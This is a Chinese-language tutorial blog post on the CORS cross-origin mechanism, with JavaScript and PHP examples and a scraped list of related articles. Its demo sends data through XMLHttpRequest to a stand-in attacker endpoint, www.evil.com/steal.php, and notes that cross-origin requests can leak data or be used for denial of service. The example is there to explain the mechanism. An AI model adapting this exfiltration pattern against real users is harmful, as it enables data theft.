跨域(一)——CORS机制
Ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。但是,W3C的新标准中CORS(Cross Origin Resource Sharing)推进浏览器支持这样的跨域方案。
这个方案过程如下 :
www.foo.com(来源域)的Ajax向www.evil.com(目标域)发起了请求,浏览器自动带上Origin头,如下:
Origin:http://www.foo.com
然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:
Access-Control-Allow-Origin:http://www.foo.com
表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限警告:
<script>
function createCORSRequest(method,url){
var xhr=new XMLHttpRequest();
if("withCredentials" in xhr){
xhr.open(method,url,true);
}else if(typeof XDomainRequest!="undefined"){
xhr=new XDomainRequest();//IE浏览器
xhr.open(method,url);
}else{
xhr=null;
}
return xhr;
}
var request=createCORSRequest("get","http://www.evil.com/steal.php?data=222");
if(request){
request.onload=function(){//请求成功后弹出响应内容
alert(request.responseText);
};
request.send();
}
</script>
目标域上有 steal.php的代码如下:
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
echo $_GET["data"];
?>
跨域往目标域发起请求后,效果如下:
aaarticlea/png;base64,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" alt="" />
但是,其实,如果目标域不设置Access-Control-Allow-Origin:http://www.foo.com,隐私数据也会被偷到,因为实际上数据已经被目标域的steal.php接收到了。CORS的安全策略仅仅在于是否允许客户端获取服务器的返回数据,但并不会阻止客户端发送的请求。也因此,客户端可以使用XMLHttpRequest向任意网站发送跨域请求,拒绝服务。
另外,默认情况下,这样的跨域无法带上目标域的会话(Cookies等),需要设置xhr实例的withCredentials属性为true(IE还不支持),同时目标域的steal.php必须设置如下:
<?php
header("Access-Control-Allow-Origin:http://www.foo.com");
header("Access-Control-Allow-Credentials:true"); ?>
同时还要注意,如果设置了Access-Control-Allow-Credentials为true,那么Access-Control-Allow-Origin就不能设置为*通配符。这也是浏览器为了安全进行的考虑。
跨域(一)——CORS机制的更多相关文章
- Django-缓存机制、跨域请求(CORS)、ContentType组件
Django缓存机制: 在settings中间件里面设置: 三个粒度: 1 全站缓存 用中间件: MIDDLEWARE = [ # 'django.middleware.cache.UpdateCac ...
- AJAX POST&跨域 解决方案 - CORS
一晃又到新年了,于是开始着手好好整理下自己的文档,顺便把一些自认为有意义的放在博客上,记录成点的点滴. 跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是 ...
- AJAX POST&跨域 解决方案 - CORS(转载)
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- JSONP跨域和CORS跨域
什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行JavaScript脚本时,会检查这 ...
- (转) AJAX POST&跨域 解决方案 - CORS
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- WebApi 跨域解决方案 --CORS
跨站HTTP请求(Cross-site HTTP request)是指发起请求的资源所在域不同于请求指向的资源所在域的HTTP请求. 比如说,我在Web网站A(www.a.com)中通过<img ...
- 跨域解决方案 - 跨域资源共享cors
目录 1. cors 介绍 2. 原理 3. cors 解决跨域 4. 自定义HTTP 头部字段解决跨域 5. 代码演示 5. 参考链接 1. cors 介绍 cors 说的是一个机制,其实相当于一个 ...
- VUE SpringCloud 跨域资源共享 CORS 详解
VUE SpringCloud 跨域资源共享 CORS 详解 作者: 张艳涛 日期: 2020年7月28日 本篇文章主要参考:阮一峰的网络日志 » 首页 » 档案 --跨域资源共享 CORS 详解 ...
- 网络编程-跨域资源共享 CORS
目录 1.什么是同源策略? 2.跨域资源共享 CORS 3.预检请求 4.CORS相关字段 5.Golang实现跨域 6.参考资料 1.什么是同源策略? 如果两个 URL 的 protocol.por ...
- 跨域资源共享(CORS)问题解决方案
CORS:Cross-Origin Resource Sharing(跨域资源共享) CORS被浏览器支持的版本情况如下:Chrome 3+.IE 8+.Firefox 3.5+.Opera 12+. ...
随机推荐
- 6行代码解决golang TCP粘包
转自:https://studygolang.com/articles/12483 什么是TCP粘包问题以及为什么会产生TCP粘包,本文不加讨论.本文使用golang的bufio.Scanner来实现 ...
- iproute2 对决 net-tools
如今很多系统管理员依然通过组合使用诸如ifconfig.route.arp和netstat等命令行工具(统称为net-tools)来配置网络功能,解决网络故障.net-tools起源于BSD的TCP/ ...
- (转)Linux tcpdump命令详解
简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具. tcpdump可以将网络中传送的数据包的 ...
- 2018 oppo校招前端面试题
1.Es6 2.http请求过程 3.js事件执行流程(蒙蔽中) [默认冒泡,由内到外,] 4.css 样式选择器的优先级 (!important在类选择器和id选择器都可以使用,但不推荐使用) 5. ...
- 为什么使能RPS/RFS, 或者RSS/网卡多队列后,QPS反而下降?
http://laoar.github.io/blog/2017/05/07/rps/ TL;DR RPS 即receive side steering,利用网卡的多队列特性,将每个核分别跟网卡的一个 ...
- java对redis的基本操作(初识)
一.server端安装 1.下载 https://github.com/MSOpenTech/redis 可看到当前可下载版本:redis2.6
- es6(8)--对象
//对象 { //简洁表示法 let o = 1; let k = 2; let es5 = { o:o, k:k }; let es6 = { o, k }; console.log(es5); c ...
- 2-Zookeeper、HA安装
1.Zookeeper安装 1.解压 zookeeper 到安装目录中/opt/app/zookeeper 中. 2.在安装目录下创建data和logs两个目录用于存储数据和日志: cd /opt/a ...
- python-类里面各种方法的学习补充
#-*- coding:utf-8 -*- #本次学习:类里面各种方法的学习 class SeniorTestingEngineer: work_year=3 salary=15000 def cod ...
- 简单说明一下Token ,Cookie,Session
在Web应用中,HTTP请求是无状态的.即:用户第一次发起请求,与服务器建立连接并登录成功后,为了避免每次打开一个页面都需要登录一下,就出现了cookie,Session. Cookie Cookie ...